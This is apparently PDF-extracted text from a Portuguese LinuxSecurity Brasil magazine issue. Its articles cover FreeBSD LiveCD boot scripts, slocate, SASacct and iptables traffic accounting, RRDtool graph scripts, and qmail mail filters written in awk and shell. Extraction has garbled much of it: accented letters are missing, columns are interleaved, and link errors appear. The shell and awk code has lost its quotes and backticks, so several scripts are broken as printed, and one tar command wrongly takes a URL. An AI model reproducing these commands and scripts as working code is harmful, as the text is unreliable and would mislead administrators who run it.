tar -xzpf /mfs/root.tgz -C / >/dev/null 2>&1
echo Gerando /root em MFS
fi
if [ -r /usr/local/XYZ123_ ]; then
echo O /usr/local foi montado via virtual node
else
mount_mfs -s 32768 -c 20 -o noatime swap /usr/local/etc 2>&1
tar -xzpf /mfs/local_etc.tgz -C / >/dev/null 2>&1
echo Gerando /usr/local/etc em MFS
fi
mount proc
############################################
Sem o fragmento acima, uma srie
funcionalidades do sistema seriam
prejudicadas uma vez que 100% dos
sistemas de arquivos seriam do tipo read
only. O que o script faz basicamente
montar todos os diretrios que precisam
ser read write em MFS ou VNODES.
Uma vez alterado o arquivo de boot
do sistema, era necessrio efetuar alguns
ajustes no kernel para que o / pudesse ser
montado a partir do drive de CD, alm de
adicionar o suporte aos Vnodes. Desta forma
foram adicionadas ao arquivo de configurao
do kernel as seguintes linhas:

options
ROOTDEVNAME=\cd9660:acd0\
options
UNION
pseudo-device
vn
15
Uma vez feitos esses ajustes bastou
gerar um CD bootavel, o que foi feito com o
comando mkisofs (as opes exatas podem
ser vistas nos scripts do toolset). A maioria
das pessoas se surpreende ao saber que foi
to simples resolver um problema que
incomodava a comunidade h tanto tempo,
mas a pura verdade. Usamos um pouco de

www.linuxsecurity.com.br

20

Shell script e um pouco de imaginao :-)

vamos fazer um estudo de caso (verdico)

Atualmente o Toolset composto por


vrios scripts shell (Bourne Shell) e caso
algum tenha interesse em conhecer todas
as etapas do processo de gerao eu sugiro
que leiam os scripts que compem o FreeBSD
LiveCD ToolSet. Na medida do possvel esto
todos muito bem comentados.

Uma empresa especializada na


comercializao de servidores FreeBSD
pr configurados precisa fornecer aos
seus clientes uma maneira simples e
rpida de recuperar o seu servidor ao
seu estado inicial, ou seja, deixar o
servidor no estado que estava quando
saiu da caixa, algo semelhante aos discos
de recuperao enviados junto com os
equipamentos compaq.

Possibilidades de uso
Essa , sem duvida, a melhor coisa do
FreeBSD LiveCD. As possibilidades de uso
so inmeras, ficando restritas na maior
parte das vezes sua necessidade/
criatividade.
A partir do Toolset voc pode criar discos
customizados paras as mais diversas funes
tais como:
oRepair Disk
oInstall Disk
oJump Start Install
oDisaster Recovery
oX terminal
oRoteador
oBridge
oFirewall
oEtc
A maioria dos administradores de
sistemas podem se beneficiar de varias
dessas funes sendo considerado como
sendo as mais interessantes Jump Start
Install e Disaster Recovery.
Para exemplificar melhor uma das
possibilidades de uso do FreeBSD LiveCD,

A demanda acima um caso tpico de


aplicao do LiveCD, pois ele pode ser
preparado de forma a espelhar um servidor
recm instalado, contendo todas as
aplicaes e customizaes necessrias, e
ser utilizado como mdia de instalao em
operaes de disaster recovery no futuro.
Caso o servidor passe por algum
problema de hardware que acarrete a perda
do sistema, tal como a queima de um HD, o
cliente pode simplesmente substituir o HD
defeituoso por um novo, dar um boot com o
CD criado com o espelho do sistema e em
menos de 5 minutos ter recuperado o
servidor, de forma que o servidor recm
instalado seja idntico ao que existia antes
do problema. Instalado o sistema, basta
recuperar o backup dos dados (no existiam
no momento da gerao do LiveCD), e seu
sistema estar de volta produo em
poucos minutos sem a necessidade de um
longo downtime e sem a necessidade de
que um tcnico se desloque at o local para
efetuar a recuperao do sistema.
Existem outras possibilidades de uso
de um disco preparado para essa finalidade,
alm da situao de emergncia descrita
acima, imagine que essa mesma empresa
venda servidores em escala industrial e todas
as mquinas saem pr-instaladas e pr-

www.linuxsecurity.com.br

21

configuradas. Esta empresa poderia gerar


uma matriz com a configurao de cada tipo
de servidor e poderia instalar as mquinas
com um simples boot, aumentando em muito
a eficincia do processo de instalao.
Atravs deste mtodo, possvel instalar
um servidor web (por exemplo), por maiores
que sejam as customizaes que voc tenha
no sistema e na aplicao, em menos de 5
minutos.
Como disse anteriormente, o FreeBSD
LiveCD, nasceu para ser um ponto de apoio
para todo e qualquer administrador FreeBSD.
No saia de casa sem o seu ;-)
Caso voc tenha sugestes/criticas/
dvidas sobre a utilizao do FreeBSD
LiveCD Toolset visite o site http://
livecd.sourceforge.net e inscreva-se na
nossa lista de discusses.

www.linuxsecurity.com.br

22

www.linuxsecurity.com.br

23

slocate (Secure Locate)


por Rubens Queiroz de Almeida

Abstract: Descrio e recomendaes de


uso para o comando slocate, utilizado para
gerar um banco de dados com a localizao
dos arquivos e diretrios no sistema,
facilitando desta forma a recuperao de
forma rpida e eficiente de qualquer
componente do sistema de arquivos.
Sistemas Linux possui uma excelente
ferramenta para nos ajudar na localizao
de arquivos na estrutura de diretrios, o
comando slocate.
O comando slocate cria um banco de
dados contendo a listagem dos arquivos do
sistema e sua localizao na estrutura de
diretrios. O banco de dados criado pelo
comando slocate fica localizado no diretrio
/var/lib/slocate/ e chama-se slocate.db.
O programa slocate armazena tambm,
alm do nome, as permisses de leitura e
propriedade dos arquivos de maneira a
garantir que ningum obtenha informaes
sobre arquivos aos quais no tenha acesso.
Da o seu nome, Secure Locate.
O banco de dados criado emitindo-se
o comando:
# slocate -u
Este comando ir gravar no arquivo /
var/lib/slocate/slocate.db a localizao e o
nome de todos os arquivos e diretrios a
partir do diretrio raiz.
Usurios comuns podem tambm criar
seu ndice personalizado. A restrio que o
banco de dados (slocate.db) deve ser gravado
em um local ao qual o usurio tenha acesso,

como por exemplo seu diretrio de


trabalho pessoal.
$ slocate -U /home/usuario -d
.slocate.db
O banco de dados pessoal foi
chamado de .slocate.db. O nome iniciase em . para que no conste nas
listagens normais do diretriode
trabalho.

Ao invocar o comando slocate sem


argumentos, o banco de dados
pesquisado ser o do sistema (/var/lib/
slocate/slocate.db). Para consultar o
banco de dados pessoal, utilizar a opo
Ficha do Autor
Nome: Rubens Queiroz de Almeida
Idade: 42 anos
Profisso: Diretor de
Informtica, Unicamp.
email: queiroz@unicamp.br

Informaes Adicionais
Mentor de diversos projetos ligados ao software livre incluindo a lista Dicas-L

Site: http://www.dicas-l.unicamp.br

www.linuxsecurity.com.br

24

--database:
$ slocate database=.slocate.db
tex
Forneceu-se no exemplo a instruo de
se buscar por arquivos que contenham os
caracteres tex em seu nome.
O tempo de resposta do comando
slocate excelente. Rarissimas vezes ser
necessria a criao de um banco de dados
pessoal, a no ser que o sistema seja muito
grande e contenha centenas de milhares de
arquivos. Mesmo nestas condies a busca
bastante eficiente.
Caso realmente se opte por um banco
de dados individual, uma boa alternativa
criar um alias que especifique as diretivas
apropriadas:
alias Slocate=slocate
database=$HOME/.slocate.db

Desta forma, se especificarmos Slocate


estaremos consultando o banco de dados
pessoal. O comando slocate continuar
fazendo uma busca na listagem completa.
O acesso a este banco de dados feito
atravs do comando locate.
Us-lo extremamente simples, basta
fornecer como argumento a cadeia de
caracteres que se deseja localizar no
sistema.
Finalmente, principalmente em
sistemas bastante ativos, com uma grande
taxa de modificao do sistema de
arquivos, o mais indicado automatizar a
atualizao do banco de dados slocate.db.
As seguintes entradas na crontab realizam
esta atualizao uma vez a cada hora:
0 * * * * slocate -u
Para usurios normais
0 * * * * slocate -U /home/usuario
-d .slocate.db

www.linuxsecurity.com.br

25

www.linuxsecurity.com.br

26

Monitorando trfego de rede interna utilizando SASacct/RRDtool


por Diogo Florenzano Avelino
colabarao de Marcus Maciel

1. Introduo
O que fazer quando o seu link Internet
no suficiente para a utilizao de seus
usurios/servidores? Inicialmente, comentase muito em QoS/CBQ (Quality of Service),
em que a grande jogada estar utilizando
limitao de banda, pretendendo com isso
garantir aos seus servios que um usurio
no v abusar do consumo do link. Em
conjunto limitao de banda ideal
tambm utilizar um software capaz de
monitorar esses usurios e poder analisar
abusos na rede e horrios de pico, exibindo
grficos e quantidade de transferncia diria
ou de determinados perodos. E isso abrange
todos os servios, no s navegao web,
como tambm transferncias FTP, utilizao
de softwares peer2peer (Napster, KaZaA,
AudioGalaxy e similares), envio/recepo de
e-mails e etc.

2. SASacct
O SASacct um pacote para
accounting utilizado para monitorao do
trfego numa rede TCP/IP atravs de
funes presentes no Kernel dos sistemas
operacionais. O SASacct invoca um filtro de
pacotes externo (ipfstat, ipchains, iptables,
pfctl), coletando os dados e registrando num
arquivo de log informaes para cada IP
sendo monitorado. Sua portabilidade para
diversos sistemas operacionais e diversas
verses de filtros de pacotes suportados
uma das suas caractersticas. Atualmente,
suporta: Linux 2.2.x com ipchains, Linux
2.4.x com iptables, *BSD utilizando ipf/pf.
Ele gera grficos como os do MRTG,

utilizando a biblioteca RRDTool (do mesmo


autor). Possui a capacidade de gerar grficos
de tempos em tempos e tambm on-thefly em um perodo determinado. Ele ainda
pode ser utilizado como server mode
sendo rodado via inetd, situao na qual os
clientes sasacct iro se encarregar de
capturar os dados e exib-los, no sendo
necessrio com isso rodar um Servidor Web
em cada mquina que far a monitorao.
Neste artigo, preocupei-me em
apresentar o SASacct funcionando
completamente. O leitor que desejar fazer
a configurao em diversas mquinas e
quiser utilizar o recurso de remote server
(via inetd) disponvel no SASacct, eu
recomendo ler os arquivos de documentao
que acompanham o pacote, mas j adianto
que uma configurao bem simples, apesar
de funcionar um pouco diferente do que ser
apresentado neste artigo.
Ficha do Autor
Nome: Diogo Florenzano Avelino
Idade: 20 anos
Profisso: Consultor em
Redes/ Segurana.
email:
diogo@underlinux.com.br

Informaes Adicionais
Atua como Consultor em Redes/Segurana,
Solues sob GNU/Linux e Web e tambm como
mantenedor/desenvolvedor de contudo do site
Underlinux.

Site: http://www.diogo.underlinux.com.br

www.linuxsecurity.com.br

27

3. Requisitos para nossa soluo


Servidor Linux 2.4 com filtro de pacotes
IPTABLES
Web com mod_perl para executar
scripts CGI Perl, e para exibir pginas HTML.
Recomendo utilizar o Apache. (http://
httpd.apache.org). O mod_perl pode ser
obtido atravs do endereo http:Erro! A
referncia de hyperlink no vlida. Para
maires informaes sobre a instalao e
configurao do seu servidor Web, leia o
Apache-Compile
HOWTO
(http://
w w w. l i n u x s e c u r i ty. c o m . b r /
article.php?sid=5984).

libpng (http:Erro! A
referncia de hyperlink no
vlida.)
Utilizada pelo RRDtool para gerar as
imagens dos grficos.
RRDtool (http://eestaff.ethz.ch/~oetiker/)
Biblioteca para gerao de grficos
Perl 5.x (http://www.perl.org)

4. Instalando o RRDtool
Munido do pacote do RRDtool
(rrdtool.tar.gz), descompacte o mesmo:

#
#
#
#
#

cd
rrdtool-1.0.39/
./configure
make
make install
make site-perl-install

5. Configurando o filtro de pacotes


(iptables)
O SASacct, se utiliza de regras preestabelecidas no filtro de pacotes, para gerar
os grficos e apresentar a quantidade de
MB transferidos.
Ele pode trabalhar com iptables,
ipchains, ipf, pfctl, tornando-se assim,
bastante portvel para diversos sistemas
operacionais (Linux, *BSD), e permitindo que
as regras sejam ajustadas conforme a
poltica de segurana de cada ambiente.
Estou apresentando aqui as regras
bsicas a serem inseridas no iptables para
que ele faa a monitorao dos IPs
destinados. Munido dos IPs a serem
monitorados, faa:
# Criar a chain SASACCT
iptables -N SASACCT
# Colocar o JUMP para a SASACCT,
onde estaro as regras para tratar
os IPs.
iptables -I INPUT -j SASACCT
iptables -I OUTPUT -j SASACCT
iptables -I FORWARD -j SASACCT

# tar -xvzf rrdtool.tar.gz


Agora vamos etapa de compilao e
instalao simples:

# Repita as regras abaixo para


cada IP, substituindo o
200.200.200.200 pelo
# IP destinado.

www.linuxsecurity.com.br

28

iptables -I SASACCT -s
200.200.200.200 -d 0/0 -j ACCEPT
iptables -I SASACCT -s 0/0 -d
200.200.200.200 -j ACCEPT
Sugiro no caso de outro filtro de pacotes,
que o leitor leia o arquivo README do
SASacct, onde ele apresenta as regras
bsicas para outros filtros.

6. Instalando/Configurando o
SASacct
Inicialmente acesse o site do projeto
(http://rousse.pm.org/sasacct) e faa
download do mesmo.
Download: http://rousse.pm.org/
sasacct/sasacct-1.0.tar.gz
O SASacct se resume a poucos arquivos
Perl (.plx e .cgi) e um de configurao, alm
de suas documentaes e exemplos.
Descompacte-o:

# tar -xvzf http://rousse.pm.org/


sasacct/sasacct-1.0.tar.gz
Acesse seu diretrio:
# cd sasacct-1.0
No necessrio compilar o SASacct.
Ento iniciaremos a cpia dos arquivos para
os diretrios recomendados.

# cp *.plx /usr/local/bin/
# cp *.conf /etc/
# cp *.cgi /apache/cgi-bin/

Adotei utilizar o diretrio /usr/local/bin,


onde ficaro os arquivos executveis Perl
(ftpget.plx, htmlmaker.plx, sasacct.plx).
O arquivo sasacct.conf ficar em /etc e
os scripts cgi (showgraph.cgi, showtraf.cgi)
ficaro no meu diretrio cgi-bin, onde o
Apache foi instalado. Geralmente este
diretrio tambm pode ser o /home/httpd/
cgi-bin, encontrado em muitas instalaes
padro do Apache de algumas distribuies
mais comuns.
Agora vamos partir para o arquivo de
configuraes.

6.1. Editando sasacct.conf


Abaixo apresento um arquivo exemplo
de configurao do SASacct.
##### /etc/sasacct.conf ######
# Filtro
F:/sbin/iptables # comum o
iptables estar tambm em /usr/
sbin/iptables
# Diretorio de Logs e rrd files
D:/var/log/sasacct
# Diretorio dos htmls e graficos
G:/apache/htdocs/monitoracao/
# L:IP:Descricao
L:10.0.0.2:Marcus (10.0.0.2)
L:10.0.0.3:Diogo (10.0.0.3)
##############################
Agora vamos criar o diretrio de logs e
arquivos rrd (grficos).
# mkdir /var/log/sasacct
Criar Repositrio de HTMLs e Imagens
# mkdir /apache/htdocs/
monitoracao/

www.linuxsecurity.com.br

29

6.2. Editando sasacct.plx


O SASacct traz como padro a
monitorao (grficos) em Bytes por
Segundo. Se voc desejar alterar para Bits
por Segundo, edite o /usr/local/bin/
sasacct.plx e altere a linha abaixo:
my $bits = 0;
por
my $bits = 1;
Outra idia interessante colocar as
cores que sero exibidas nos grficos (trfego
de entrada/sada), em verde e azul, assim
como so utilizadas no MRTG. Para isto,
altere as linhas:

@data_str =
(AREA:indata#C0C0C0:In,
LINE1:outdata#333333:Out,

e .png. Para que os mesmos fiquem


organizados, e um resumo seja feito com o
grfico dirio de cada IP, execute o script
htmlmaker.plx

# /usr/local/bin/htmlmaker.plx
Posteriormente, s acessar atravs
do seu browser o diretrio em que fora
destinado o repositrio HTML/png.

7.1. Crontab
Para automatizar a gerao dos grficos
e a captao dos dados, sugiro colocar a
seguinte linha no crontab do usurio que
rodar os grficos.

# crontab -e
Adicione a linha abaixo:

para
@data_str =
(AREA:indata#00cc00:In,
LINE1:outdata#0000FF:Sa.da,

7. Executando SASacct
Para finalizar o nosso processo e
executar o scripts que sero responsveis
pela gerao dos grficos, basta digitarmos:

# /usr/local/bin/sasacct.plx

*/5 * * * * /usr/local/bin/
sasacct.plx
Assim, ele ir gerar de 5 em 5 minutos
o grfico, fazendo tambm a captao dos
logs no iptables e realizando indexao dos
arquivos rrd. Caso o trfego de sua rede
seja muito grande, sugiro, colocar para rodar
o sasacct -r de 5 em 5 minutos. Colocar no
crontab sasacct -g de hora em hora. E
finalmente sasacct -s semanalmente. A
opo -r faz a captao dos logs, a -g
gera os grficos, e a -s realiza a
reindexao dos arquivos rrd.

Com isso, ele ir gerar dentro do


Repositrio de HTMLs alguns arquivos .html

www.linuxsecurity.com.br

30

Monitorao com RRDTool


por Rodrigo P. Telles

Muitas pessoas devem ter lido este


ttulo e disseram: Xiii, mas um artigo sobre
monitorao de rede.
Na realidade este artigo no
exatamente sobre monitorao de rede, e
sim, uma breve idia de como montar
grficos baseados em qualquer tipo de
informao, seja ela relativa a CPU ou at
mesmo a temperatura da sala ou do micro.
Falaremos um pouco da ferramenta
RRDTool (Round Robin Database Tool), que
ao contrrio do que muitas pessoas pensam,
somente gera grficos,
no sendo
responsvel pela coleta das informaes de
dispositivos, como o seu irmo mais velho,
o MRTG (Multi Router Traffic Graph).
O RRDTool uma ferramenta GPL escrita
por Tobias Oetiker, o mesmo desenvolvedor
do famoso MRTG e entra em cena para
resolver uma srie de limitaes que o MRTG
possui.
O desenvolvedor diz que o RRDTool no
um substituto ao MRTG e j adianta que,
na verso 2.0, as 2 ferramentas sero
fundidas formando uma ferramenta muito
poderosa.

As principais vantagens do RRDTool


em relao ao MRTG so:
* Pode trabalhar com mais fontes de
dados
* Mais rpido e gera menor consumo de
CPU
* Possibilidade de gerao de grficos por
range de data

* Banco de dados imutvel (tamanho)


* Possui mdulo Perl para integrao com
interfaces WEB
* Grficos totalmente personalizveis
* Legendas so geradas no grfico
* Pode-se trabalhar com condicionais (IF,
ELSE, LT, GT, EQ, etc)
* Permite utilizao de operadores
matemticos (+, -, *, /, %)
* Pode-se utilizar funes matemticas
(COS, EXP, LOG, etc)
* Manipulao do tipo de impresso de
dados (PRINT e GPRINT)

Principais Desvantagens
* No coleta dados
* No gera pginas HTML
* No gera indexadores HTML

Como voc pode perceber, o RRDTool


possui muitas vantagens em relao ao
MRTG, mas tambm possui desvantagens
que podem ser o fator de escolha de muitos
administradores que desejam plotar grficos
de equipamentos de rede, ou seja, para a
coleta de dados faz-se necessrio a
utilizao de ferramentas externas e
tambm para a gerao das pginas HTML
para os grficos.
Devo revelar que, algumas pessoas no
continuaro a ler esse artigo aps saberem
que o RRDTool no coleta dados, por outro
lado, outras pessoas (espero que seja uma
grande maioria) vo literalmente viajar na
maionese com o leque de possibilidades
que esta opo pode gerar. O que eu quero
dizer que sabendo disso voc pode gerar
grficos de qualquer coisa que desejar.
Para exemplificar, vou mostrar 2 casos
interessantes:
* Gerar um grfico de estatsticas de ping

www.linuxsecurity.com.br

31

* Gerar um grfico de estatsticas por


portas TCP/UDP

Criao do banco de dados


ping.rrd que armazenar dados a
cada 5 segundos

Obs: Se estiver lendo a revista direto de um


visualizador PDF, utilize a ferramenta Zoom para ver
o cdigo abaixo.

$ rrdtool create portas.rrd step 10 \


DS:www:GAUGE:20:U:U DS:ftp:GAUGE:20:U:U \
DS:pop3:GAUGE:20:U:U DS:smtp:GAUGE:20:U:U \
DS:dns:GAUGE:20:U:U DS:ssh:GAUGE:20:U:U \
RRA:AVERAGE:0.5:1:100 RRA:AVERAGE:0.5:1:100 \
RRA:MAX:0.5:1:100 RRA:MAX:0.5:1:100

$ rrdtool create ping.rrd step 5\


DS:trip:GAUGE:10:U:U \
DS:lost:GAUGE:10:U:U \
RRA:AVERAGE:0.5:1:100 \

Script para atualizar o banco de


dados (RRD)
Obs: Se estiver lendo a revista direto de um visualizador
PDF, utilize a ferramenta Zoom para ver o cdigo
abaixo.
#!/bin/bash
ping -c 10 $1 > /tmp/ping
trip=tail -1 /tmp/ping|awk -F= {split($2,trip,/);print trip[2]}
lost=grep transmitted /tmp/ping | awk -F, {split($3,lost,%);print lost[1]}
rrdtool update ping.rrd N:${trip}:${lost}

A coleta de dados vai depender muito


do tipo de ferramenta que voc vai utilizar
para accounting, em nosso caso, vamos
utilizar o iptables.

Regras para accounting


#
#
#
#
#
#
#

iptables
iptables
iptables
iptables
iptables
iptables
iptables

-N
-A
-A
-A
-A
-A
-A

portas
INPUT -j
portas -p
portas -p
portas -p
portas -p
portas -p

portas
tcp dport
tcp dport
tcp dport
tcp dport
udp dport

80 -j ACCEPT
21 -j ACCEPT
110 -j ACCEPT
25 -j ACCEPT
53 -j ACCEPT

# iptables -A portas -p tcp dport 22 -j ACCEPT

rm -f /tmp/ping

Gerao do grfico depois de algum


tempo de coleta de dados
Obs: Se estiver lendo a revista direto de um visualizador
PDF, utilize a ferramenta Zoom para ver o cdigo
abaixo.
$ rrdtool graph ping.png -a PNG -t Estatsticas de ping \
DEF:time=ping.rrd:trip:AVERAGE DEF:perda=ping.rrd:lost:AVERAGE \
AREA:time\#ff8e05 AREA:perda\#ffff05:Perda mdia: \
-s 1031018645 -e 1031018825 -v Nmero de Pacotes \
GPRINT:perda:AVERAGE:%2.2lf %% -w 400 -h 100

Veja o grfico na pgina 32/Fig.01

Criao do banco de dados


portas.rrd que armazenar dados
a cada 10 segundos

Script para atualizar o banco de


dados portas.rrd
Obs: Se estiver lendo a revista direto de um visualizador
PDF, utilize a ferramenta Zoom para ver o cdigo
abaixo.
#!/bin/bash
www=iptables list portas -nv|awk /dpt:80/{print $2}
ftp=iptables list portas -nv|awk /dpt:21/{print $2}
pop3=iptables list portas -nv|awk /dpt:110/{print $2}
smtp=iptables list portas -nv|awk /dpt:25/{print $2}
dns=iptables list portas -nv|awk /dpt:53/{print $2}
ssh=iptables list portas -nv|awk /dpt:22/{print $2}
rrdtool update portas.rrd
N:${www}:${ftp}:${pop3}:${smtp}:${dns}:${ssh}

Gerao do grfico depois de algum


tempo de coleta de dados

www.linuxsecurity.com.br

32

Obs: Se estiver lendo a revista direto de um visualizador


PDF, utilize a ferramenta Zoom para ver o cdigo
abaixo.
$ rrdtool graph portas.png -a PNG -t Estatsticas de portas \
DEF:www=portas.rrd:www:AVERAGE DEF:ftp=portas.rrd:ftp:AVERAGE \
DEF:pop3=portas.rrd:pop3:AVERAGE DEF:smtp=portas.rrd:smtp:AVERAGE \
DEF:dns=portas.rrd:dns:AVERAGE DEF:ssh=portas.rrd:ssh:AVERAGE \
AREA:www\#0b07ff:WWW: LINE1:ftp\#ff0707:FTP/TCP: \
LINE1:pop3\#35890d:POP3: LINE1:smtp\#ffff00:SMTP: \
LINE1:dns\#896c0d:DNS/UDP: LINE1:ssh\#00ff15:SSH: \
-s 1031100560 -e 1031101550 -v Conexes TCP/UDP -w 400 -h 100

Veja o grfico na pgina 32/Fig.02


Que tal os mesmos dados em um grfico
com 2 partes:
Veja o grfico na pgina 32/Fig.03
OBS: Os scripts demonstrados neste
artigo devem estar agendados para rodar no
cron no tempo determinado pela criao do
RRD, neste caso, a cada 5 segundos e a
cada 10 segundos.
Este artigo est muito longe de ser um
tutorial sobre RRDTool, mas eu espero que
estes 2 exemplos tenham servido de ponta
p inicial para os seus futuros grficos.
Agora voc j tem o conhecimento bsico
para poder montar aquele grfico to
sonhado de estatsticas do seu IDS.

Referncias:
http://people.ee.ethz.ch/~oetiker/webtools/rrdtool
http://people.ee.ethz.ch/~oetiker/webtools/mrtg/
mrtg-rrd.html
http://people.ee.ethz.ch/~oetiker/webtools/rrdtool/
mailinglists.html
http://www.quiknet.com/~twitham/wx200/
Temp.html#Temp_Month
http://www.orcaware.com/orca/orca-example/

www.linuxsecurity.com.br

33

Figura 01

Figura 02

Figura 03

www.linuxsecurity.com.br

34

Ficha do Autor
Nome: Rodrigo Pereira Telles
Idade: 23 anos
Profisso: Administrador de
Sistemas Unix, Consultor de
Segurana e Desenvolvedor de
Ferramentas GPL
email: rodrigo@telles.org

Informaes Adicionais
Ferramentas GPL Desenvolvidas:

.: Webtools:
http://www.webtools.linuxsecurity.com.br
.: SecurityLog2html/netfilter2html:
http://webtools.linuxsecurity.com.br
.: qmail-filter/queue-admin:
http://qmail.linuxsecurity.com.br
Mantenedor/Desenvolvedor do contedo do site:

http://www.dicaslinux.com.br

Colunista, desenvolvedor, e representante


da LinuxSecurity Brasil Solutions:
http://www.linuxsecurity.com.br
Palestrante da III ExpoSALT (Exposio de
Sistemas Alternativos) no Rio de Janeiro,
sobre
Webtools
e
incentivo
ao
desenvolvimento de sistemas alternativos
Palestrante do III Forum Internacional de Software Livre, em Porto Alegre, sobre LIDS
Site: http://www.dicaslinux.com.br

www.linuxsecurity.com.br

35

Construindo filtros para o qmail


por Diego Linke - Gamk

Neste artigo irei abordar como voc


mesmo pode criar os seus softwares de filtros
de e-mails para o qmail. No abordarei
softwares prontos e sim exemplos para que
voc possa fazer o seu, do jeito que bem
entender.
Para que possa entender bem este
artigo, fortemente recomendado que
domine a estrutura do qmail, para obter
melhores detalhes visite:
http://www.nrg4u.com/qmail/the-bigqmail-picture-103-p1.gif
Ns iremos trabalhar basicamente com
dois tipos de filtro. O primeiro (que
chamaremos no artigo de tipo 1) ser o que
funcionar antes do qmail-queue, sendo
assim ele ser vlido para todas as
mensagems que passarem por este servidor.
J o segundo (que chamaremos no artigo de
tipo 2), funcionar com o qmail-local, sendo
assim para um usurio especfico.

Tipo 1
Basicamente quando chega um e-mail
atravs do SMTP o qmail trabalha:
qmail-smtpd -> qmail-queue -> qmailsend ...
Quando um e-mail est saindo do
servidor (enviado por um usurio local) o
qmail trabalha:

trabalhe antes do qmail-queue e que, se


estiver tudo OK, passe por STDIN (Entrada
padro) para o processo do qmail-queue
original.
Vejamos este exemplo, escrito em AWK
(este exemplo foi baseado em pedaos do
cdigo do qmail-filter):

#!/usr/bin/awk -f
BEGIN {
IGNORECASE=1
QMAILQUEUE=/var/qmail/bin/
qmail-queue-old
getline pid < /dev/pid
file_tmp=(/tmp/email. pid)
r=(getline < file_tmp)
if (r == -1) {
t=system(/usr/bin/touch
file_tmp)

Ficha do Autor
Nome: Diego Linke - Gamk
Idade: 20 anos
Profisso: System/Network
Administrator
email: gamk@gamk.com.br

Informaes Adicionais
Atualmente Consultor de Segurana e Diretor de
Tecnologia da Web4ever Solutions.

qmail-inject -> qmail-queue -> qmailsend ...


Ns iremos fazer um software que
Site: http://www.gamk.com.br

www.linuxsecurity.com.br

36

}
if (t != 0) { exit 81 }
header = 1
achei = 0
}
{
if ($0 ~ /^$/) { header = 0 }
if (header) {
if ($0 ~ /^Subject: Branca de
neve\ *$/) {
achei = 1
exit 31
}
if ($0 ~ /^Subject: I Love
you\ *$/) {
achei = 1
exit 31
}
}
print >> file_tmp
}
END {
if (achei == 0) {
system(/bin/cat file_tmp
| QMAILQUEUE)
}
system(rm -f file_tmp)
}
Para instalarmos deveramos realizar as
aes (levando em considerao que ele se
chama teste.awk) :

cd /var/qmail/bin
mv qmail-queue qmail-queue-old
cp PATH_DO_ARQUIVO/teste.awk .
chown qmailq:qmail teste.awk
chmod 6755 teste.awk
ln -s /var/qmail/bin/teste.awk
qmail-queue
Este exemplo muito simples, ele est

comparando apenas no cabealho da


mensagem as expresses regulares acima
(para sabermos quando acabou o cabelho
da mensagem, procuramos pela primeira
linha em branco da mensagem).
Perceba tambm que a varivel
IGNORECASE setada no inicio do cdigo
para 1, ou seja, todas as expresses
regulares usadas no cdigos so caseinsensitive.
Sobre os exit codes usados no
programa:

81 = Internal bug
31 = Mail server permanently rejected message
Caso queira alterar estas mensagems,
edite o arquivo qmail.c do source do qmail e
recompile o qmail. Existe a possibilidade
ainda de se personalisar alguns exit codes
(63,64,65... entre outros) para mensagems
personalizadas quando o e-mail for barrado
por ter um subject invlido ou um arquivo
invlido.
Veja um exemplo de um e-mail sendo
barrado:

(casa/ttyv2:~)> telnet 192.168.1.2


25
Trying 192.168.1.2...
Connected to diego.
Escape character is ^].
220 GAMK House Machine - Mail
Server ESMTP
mail from: gamk@gamk.com.br
250 ok
rcpt to:
renato@linuxsecurity.com.br
250 ok

www.linuxsecurity.com.br

37

data
354 go ahead
From: Diego Linke
<gamk@gamk.com.br>
To: Renato Langona
<renato@linuxsecurity.com.br>
Subject: BRANCA de NeVe

Teste do filtro de e-mail


testando
.
554 mail server permanently rejected message (#5.3.0)
Como vocs puderam observar, a grande
vantagem da filtragem entre o qmail-smtpd
e o qmail-queue que o e-mail filtrado na
porta. Assim sendo caso o e-mail seja
rejeitado, nem chegar a entrar na fila
(queue) para o processo de entrega.

Tipo 2
Neste segundo tipo, os filtros sero
aplicados junto ao qmail-local, portanto eles
serviro apenas para um usurio.
Ns iremos colocar dentro do HOME do
usurio um arquivo chamado .qmail. Atravs
dele iremos chamar programas externos.
Veja um exemplo de .qmail do usurio
gamk:

|/var/qmail/bin/no_html
./Maildir/

Shell Script para avisar (e no barrar) as


pessoas que enviam e-mail em HTML para
voc:

#!/bin/sh
DOMINIO=gamk.com.br
USUARIO=gamk
msg_ok () {
echo From: Diego Linke - GAMK
<gamk@gamk.com.br>
echo To: $SENDER
echo Subject: E-mail em HTML
echo
echo Oie $SENDER,
echo
echo Esta mensagem e
automatica!
echo
echo Estou enviando esta
mensagem pois voce me enviou um email com formato HTML e isso nao
me agrada muito! Por favor retire
esta opcao do seu cliente de email.
echo Obrigado,
echo
echo Diego Linke gamk@gamk.com.br
}
html_ok () {
msg_ok | /var/qmail/bin/qmailinject -f$USUARIO@$DOMINIO
$SENDER
}
tmpfile=/tmp/mail_html_tmp$$
cat - > $tmpfile

HTML=0

No arquivo no_html temos um pequeno


www.linuxsecurity.com.br

38

HTML=egrep -i ^Content-Type:
Text/Html $tmpfile | wc -l
if [ $HTML -ne 0 ]; then
html_ok
fi
rm -f $tmpfile
exit 0
Este exemplo muito simples. Quando
um e-mail que contem HTML chegar no
servidor e o qmail-local for entregar a
mensagem, o servidor enviar uma
mensagem para o remetente avisando que
no agradvel receber este tipo de e-mail.
A varivel SENDER setada pelo qmail
com o e-mail do remetente.
Agora veremos um outro exemplo em
Shell Script, porm para bloquear extenes
de arquivos usando o mesmo .qmail:

#!/bin/sh
msg_ok () {
echo Arquivo Proibido!
}

ext_ok $ATTYPE
done
exit 0
Perceba que existe um exit code 100
que indica para o qmail parar a entrega!
Agora vejamos como fica o arquivo
.qmail usando o aviso para e-mails em HTML
e o bloqueio de extenes:

|/var/qmail/bin/no_html
|/var/qmail/bin/no_att
./Maildir/

Concluso
Conclui-se que o qmail alm de ser um
timo MTA, tem um timo sistema modular,
permitindo criarmos ferramentas com vrios
fins (filtros, monitoramento...) de maneira
fcil e rpida e principalmente eficaz.
Espero que tenham gostado, e que
passem, com base neste artigo, a
desenvolver novas ferramentas para este
poderoso MTA.

ext_ok () {
case $ATTYPE in VBS | BAT | COM
| EXE)
msg_ok
exit 100;;
*)
;;
esac
}
ATTACHTYPE=grep name= - | awk
BEGIN {FS=.}; {print
toupper($NF)} | cut -c -3
for ATTYPE in $ATTACHTYPE; do

www.linuxsecurity.com.br

39
Enriquecendo os Logs do seu sistema Unix e Facilitando a Auditoria Parte 2
por Renato Murilo Langona

Em meu artigo para a primeira edio


da LinuxSecurity Magazine, repassei
informaes a respeito de um enriquecedor
de logs conhecido (o IPPL) e de um
analisador de logs em tempo real (o
LogSurfer).
Nesse segundo artigo da srie, pretendo
repassar aos estimados leitores, informaes
